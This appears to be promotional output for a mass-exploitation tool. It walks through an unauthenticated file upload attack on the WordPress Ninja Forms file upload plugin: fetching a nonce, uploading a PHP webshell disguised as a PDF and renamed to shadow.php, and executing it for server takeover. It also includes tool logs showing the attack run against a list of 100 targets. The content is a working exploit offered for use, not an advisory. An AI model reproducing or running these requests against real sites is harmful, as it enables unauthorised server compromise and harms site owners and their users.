Step 1: Get Nonce 
────────────────────────────────────
POST /wp-admin/admin-ajax.php
Data: action=nf_fu_get_new_nonce&field_id=7&form_id=7

Response: {"success":true,"data":{"nonce":"7a850757a1"}}

              │
              ▼

Step 2: Upload Disguised File + Rename to PHP
──────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
Data:
- action=nf_fu_upload
- nonce=7a850757a1
- field_id=7
- form_id=7
- [email protected] (whitelisted extension)
- doc_pdf=shadow.php (rename target)

              │
              ▼

Step 3: Server Stores Malicious File
─────────────────────────────────────
Location: /wp-content/uploads/ninja-forms/tmp/shadow.php
Content: PHP shell (uploader / webshell)

              │
              ▼

Step 4: execute uploaded file
────────────────────────────────────
GET /wp-content/uploads/ninja-forms/tmp/shadow.php
→ Execute webshell
→ Full server takeover

- Conclusions from field experiments:

1. The `nf_fu_get_new_nonce` endpoint returns a valid nonce without checking field existence
   → No validation of `field_id` and `form_id` parameters (ANY random ID works)

2. Critical logical flaw in rename functionality
   → Plugin accepts user-supplied filename via POST parameter
   → No validation on final file extension after rename

3. Uploaded file lands directly in web-accessible directory
   → /wp-content/uploads/ninja-forms/tmp/

4. The owner of this tool is very handsome

˚⊱🪷⊰˚ NINJA FORMS MASS EXPLOITER ˚⊱🪷⊰˚
 ╰┈➤ Full response display

[+] Loaded 100 targets

[1/100]
😈 [FRISKA RESEARCHER] Attack on: https://example.com
[*] Getting nonce...
[*] HTTP Status: 400
[*] Response: 0
[-] HTTP Error: 400

[2/100]
😈 [FRISKA RESEARCHER] Attack on: https://www.test.com
[*] Getting nonce...
[*] HTTP Status: 200
[*] Response: {"success":true,"data":{"nonce":"b0404ec210","nonce_expiry":1775648146}}
[+] Nonce: b0404ec210
[*] Uploading shell...
[*] Upload response: {"data":{"files":[{"name":"doc.pdf","full_path":"doc.pdf","type":"application\/pdf","tmp_name":"shadow.php","error":0,"size":246,"new_tmp_key":"doc_pdf"}]},"errors":[],"debug":[]}

============================================================
🔥 SHELL UPLOADER: https://www.test.com/wp-content/uploads/ninja-forms/tmp/shadow.php
============================================================